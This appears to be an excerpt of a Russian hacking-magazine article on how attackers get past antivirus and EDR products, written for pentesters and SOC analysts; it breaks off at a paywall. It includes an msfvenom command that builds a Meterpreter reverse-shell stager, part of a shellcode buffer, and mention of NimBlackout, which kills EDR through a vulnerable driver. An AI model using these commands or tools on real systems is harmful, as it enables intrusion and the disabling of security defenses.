Ан­тивиру­сы и сис­темы EDR ста­новят­ся всё наворо­чен­нее и даже исполь­зуют машин­ное обу­чение для более точ­ного детек­тирова­ния. Но у авто­ров мал­вари по‑преж­нему оста­ются спо­собы обой­ти все про­вер­ки. В этой статье я покажу нес­коль­ко тех­ник и инс­тру­мен­тов, которые при­меня­ют зло­умыш­ленни­ки.

Ма­тери­ал приз­ван помочь прак­тику­ющим спе­циалис­там по пен­тесту и SoC-ана­лити­кам разоб­рать­ся с тем, как зло­умыш­ленни­ки могут про­никать в сис­темы, минуя EDR (endpoint detection & response).

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

На чем мы тестировали

Для иссле­дова­ний мы исполь­зовали Kaspersky Endpoint Detection and Response и его вари­ацию для Linux (KESL), опен­сор­сный ClamAV, McAffee, Microsoft Defender Advanced Threat Protection, а так­же VirusTotal.

Ко­неч­ная цель — получить обратное соеди­нение на наш C2-сер­вер, роль которо­го будет исполнять Metasploit Framework, один из самых популяр­ных пен­тестер­ских инс­тру­мен­тов.

За пос­ледние годы АV и EDR научи­лись уже на ран­них ста­диях обна­ружи­вать фай­лы, которые были сге­нери­рова­ны Metasploit, потому что сущес­тву­ет мно­жес­тво сиг­натур для выяв­ления уста­нов­ки bind- и reverse-шел­лов. EDR опре­деля­ют, какие фай­лы .dll и .so исполь­зуют­ся при стар­те обо­лоч­ки Meterpreter, и это лишь малая часть приз­наков, помога­ющих выявить вре­донос­ный про­цесс. Для чис­тоты экспе­римен­та мы возь­мем шелл‑код, сге­нери­рован­ный через msfvenom, и будем пытать­ся его модер­низиро­вать.

Но для начала пос­мотрим, сколь­ко сей­час дает бал­лов VirusTotal на дефол­тный exe-стей­джер, сге­нери­рован­ный сле­дующей коман­дой:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f exe -o ab.exe
Результаты проверки на VirusTotal
Ре­зуль­таты про­вер­ки на VirusTotal

То есть стан­дар­тный стей­джер без проб­лем обна­ружи­вает­ся сов­ремен­ными защит­ными решени­ями.

Да­вай поп­робу­ем сде­лать вари­ант с обхо­дом. Будем генери­ровать шелл‑код на С, так как это иде­аль­ный выбор, если нам нуж­на ско­рость и кросс‑плат­формен­ность.

Вот как выг­лядит наш пер­воначаль­ный шелл‑код:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of c file: 1518 bytes

unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89"
"\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"

...

"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

Ни­чего необыч­ного. Шелл‑код прос­то дает реверс‑шелл, а обмен дан­ных про­исхо­дит по TCP. Мы даже не при­меня­ли шиф­рование и кодиро­вание.

 

Что нового в мире AV/EDR

В пос­ледние годы боль­шинс­тво вен­доров AV/EDR внед­рили поведен­ческий ана­лиз с исполь­зовани­ем машин­ного обу­чения, что поз­воля­ет более точ­но ана­лизи­ровать поведе­ние прог­раммы и клас­сифици­ровать ее как вре­донос­ную. Для это­го про­водит­ся пос­тоян­ный монито­ринг про­цес­са: EDR срав­нива­ет дей­ствия с про­филя­ми поведе­ния. Это повыша­ет шан­сы обна­руже­ния, но наг­ружа­ет сис­тему, может при­водить к лож­ным сра­баты­вани­ям и кон­флик­там с дру­гим ПО.

И конеч­но, по‑преж­нему акту­аль­ны ста­рые методы:

  • эв­ристи­чес­кий ана­лиз;
  • сиг­натур­ный ана­лиз
  • сен­дбок­синг;
  • IAT checking (про­вер­ка исполь­зуемых фун­кций и биб­лиотек. Нап­ример, если в IAT есть фун­кции шиф­рования, то EDR может решить, что перед ним шиф­роваль­щик);
  • API hooking (перех­ват вызовов фун­кций и перенап­равле­ние потока кода).

В общем, чем даль­ше, тем боль­ше вся­ких про­верок.

info

На сетевом уров­не сущес­тву­ет нес­коль­ко методов, которые мож­но исполь­зовать, что­бы попытать­ся избе­жать обна­руже­ния: DNS-тун­нелиро­вание, самопод­писан­ные сер­тифика­ты HTTPS, про­токол ICMP. Одна­ко сов­ремен­ные сис­темы обна­руже­ния угроз не под­дают­ся на все эти улов­ки.

 

Фреймворки для обхода AV/EDR

 

NimBlackout

NimBlackout поз­воля­ет уда­лить AV/EDR при помощи уяз­вимого драй­вера. Драй­вер GMER исполь­зует­ся для вза­имо­дей­ствия с ядром опе­раци­онной сис­темы и дает воз­можность обна­ружи­вать и ана­лизи­ровать скры­тые вре­донос­ные эле­мен­ты.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    3 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии